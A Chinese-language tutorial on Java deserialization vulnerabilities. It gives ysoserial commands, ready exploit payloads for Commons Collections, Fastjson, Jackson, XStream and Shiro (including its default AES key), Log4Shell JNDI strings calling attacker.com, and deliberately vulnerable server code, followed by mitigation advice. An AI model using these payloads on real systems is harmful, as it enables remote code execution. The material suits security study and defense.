本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。
Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream
机制,自动还原序列化数据的对象状态。
反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码
如果攻击者控制object.ser
的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。
可控输入:攻击者能够提供恶意的序列化数据。
反序列化触发:应用调用readObject()
或通过易受攻击的库处理数据。
Gadget链:在反序列化时自动触发恶意代码的类和方法链。
Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()
、readResolve()
或finalize()
等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。
命令执行:通过Gadget链调用Runtime.getRuntime().exec()
执行任意命令。
远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。
以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。
ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。
安装步骤:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
编译后生成ysoserial-[version]-all.jar
,可用于生成多种Gadget链的Payload。
漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer
等类允许方法调用链构造,在反序列化时可实现RCE。
利用原理:通过InvokerTransformer
和ChainedTransformer
,结合LazyMap
或TiedMapEntry
,构建Gadget链,最终调用Runtime.getRuntime().exec()
。
生成Payload(使用ysoserial):
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
Windows下使用calc
打开计算器,Linux可替换为gnome-calculator
或xcalc
。
服务端测试代码(易受攻击):
import java.io.*;
import org.apache.commons.collections.map.LazyMap;
public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}
攻击示例:
生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
。
通过网络接口(文件上传或Socket)将payload.ser
发送到服务端。
服务端反序列化Payload,执行calc.exe
。
可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。
漏洞描述:Fastjson的@type
功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl
)。
利用Payload(JSON):
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}
创建恶意类:
编写Exploit.java
:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
编译并编码:
javac Exploit.java
base64 Exploit.class > exploit.b64
将base64内容插入JSON的bytecodes
字段。
服务端测试代码(易受攻击):
import com.alibaba.fastjson.JSON;
public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}
攻击示例:
将恶意JSON发送到服务端接口(例如通过HTTP POST)。
Fastjson反序列化Payload,执行calc
命令。
受影响版本:
Fastjson ≤ 1.2.24:默认启用autotype。
Fastjson ≤ 1.2.47:存在绕过方式(如使用B@
替代@type
)。
漏洞描述:Jackson的ObjectMapper
在启用enableDefaultTyping()
时支持多态反序列化,攻击者可通过@class
指定恶意类。
利用Payload(JSON):
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}
服务端测试代码(易受攻击):
import com.fasterxml.jackson.databind.ObjectMapper;
public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}
攻击示例:
使用与Fastjson相同的Exploit.java
和base64编码。
将JSON Payload发送到服务端接口。
服务端反序列化Payload,执行恶意代码。
漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。
利用Payload(XML):
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
服务端测试代码(易受攻击):
import com.thoughtworks.xstream.XStream;
public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}
攻击示例:
生成base64编码的恶意类(参考Fastjson部分)。
将base64字符串嵌入XML Payload。
将XML发送到服务端,触发代码执行。
漏洞描述:Apache Shiro的rememberMe
功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==
),攻击者可构造恶意Payload。
利用步骤:
使用ysoserial生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
使用已知AES密钥加密Payload:
from Crypto.Cipher import AES
import base64
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
构造请求:
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload
攻击示例:
使用ysoserial生成CommonsCollections Payload。
使用默认或爆破的AES密钥加密。
设置rememberMe
Cookie并发送请求,触发反序列化。
突然想到这个,也写一下~
漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}
表达式,允许攻击者通过JNDI触发远程类加载。
利用Payload:
${jndi:ldap://attacker.com/Exploit}
攻击准备:
使用marshalsec启动LDAP服务:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
在http://attacker.com/Exploit
托管恶意类(Exploit.class
)。
服务端测试代码(易受攻击):
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}
攻击示例:
将Payload注入可记录的字段(例如HTTPUser-Agent
头):
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
服务端记录日志时触发JNDI查询,执行远程类。
漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。
利用Payload:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious
防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。
漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。
利用示例:
使用ysoserial生成RMI Payload:
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
将Payload发送到RMI服务端,触发远程类加载。
防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。
以下工具可用于检测和测试反序列化漏洞:
Ysoserial:生成多种Gadget链Payload。GitHub
Ysomap:统一的反序列化利用工具。GitHub
Shiro_attack:测试Shiro RememberMe漏洞。GitHub
Log4jscan:扫描Log4Shell漏洞。GitHub
Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub
避免反序列化不可信数据:禁止处理来自不可信源的数据。
使用类白名单:限制反序列化仅允许指定的类。
升级依赖:使用最新版本的库和框架。
应用安全补丁:定期更新JDK和依赖项。
库/组件 | 防护措施 |
---|---|
Commons Collections | 升级到3.2.2+或4.1+;使用ObjectInputFilter 限制类。 |
Fastjson | 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept() 设置白名单。 |
Jackson | 禁用enableDefaultTyping() ;为ObjectMapper 配置类白名单。 |
XStream | 使用xstream.allowTypes() 限制可反序列化的类。 |
Apache Shiro | 更换默认AES密钥;禁用rememberMe 或使用签名机制。 |
Log4j2 | 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true ;禁用JNDI。 |
Spring Framework | 升级到≥5.3.18;限制数据绑定参数。 |
Java RMI | 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。 |
import java.io.*;
public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}
Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。
核心要点:
在反序列化前验证和过滤所有输入数据。
使用类白名单,避免使用危险方法如readObject()
。
保持依赖项和JDK的更新。
使用ysoserial和Ysomap等工具测试应用漏洞。
通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。